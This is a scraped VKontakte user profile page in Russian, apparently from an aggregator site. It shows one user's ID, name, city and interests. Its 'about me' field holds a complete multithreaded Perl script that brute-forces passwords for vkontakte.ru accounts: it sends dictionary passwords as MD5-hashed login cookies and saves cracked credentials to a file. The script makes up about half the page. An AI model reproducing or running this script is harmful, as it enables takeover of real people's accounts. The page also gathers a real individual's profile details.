Кэст Борисыч
Основная информация
Идентификатор
9358640
Домен
id9358640
Верификация
Нет
Огонёк
Нет
Настройки приватности
Открытый профиль
Последнее посещение
2 часа назад (Android)
Бан и удаление
Нет
Вконтакте
https://vk.com/id9358640
Общая информация
Имя
Кэст
Фамилия
Борисыч
Отчество
Нет данных или скрыто
Пол
Мужской
Дата рождения
Нет данных или скрыто
Языки
Русский
Семейное положение
Нет данных или скрыто
Дедушки и бабушки
Нет данных или скрыто
Родители
Нет данных или скрыто
Братья и сёстры
Нет данных или скрыто
Дети
Нет данных или скрыто
Внуки
Нет данных или скрыто
Контактная информация
Страна
Нет данных или скрыто
Город
Красноярск
Родной город
Красноярск
Моб. телефон
Нет данных или скрыто
Доп. телефон
Нет данных или скрыто
Сайт
http://a-video.net/
Skype
Нет данных или скрыто
Instagram
Нет данных или скрыто
Facebook
Нет данных или скрыто
Twitter
Нет данных или скрыто
LiveJournal
Нет данных или скрыто
Жизненная позиция
Политические предпочтения
Нет данных или скрыто
Мировоззрение
Нигилизм
Главное в людях
Доброта и честность
Источники вдохновения
ночь
Главное в жизни
Совершенствование мира
Отношение к курению
Нейтральное
Отношение к алкоголю
Нейтральное
Интересы и увлечения
Деятельность
Работаю!
Интересы
всё интересно
Любимые фильмы
!СИД И НЕНСИ!!!Это-Англия!
Любимая музыка
Нет данных или скрыто
Любимые телешоу
Нет данных или скрыто
Любимые книги
Нет данных или скрыто
Любимые цитаты
Нет данных или скрыто
Любимые игры
на гитаре!!!
О себе
Код:
#!/usr/bin/perl
use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;
######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'passl.txt'; #словарь паролей
$id = 111111; #id цели
$mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
######################################
open (pass, "<$dic");
Next:
@pass = pass();
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while (@pass){
$pass = shift @pass;
$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '»good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}
}
goto Next;
sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}
Оразование и карьера
Школа
Нет данных или скрыто
Работа
Нет данных или скрыто
Вуз
Нет данных или скрыто
Служба в армии
Нет данных или скрыто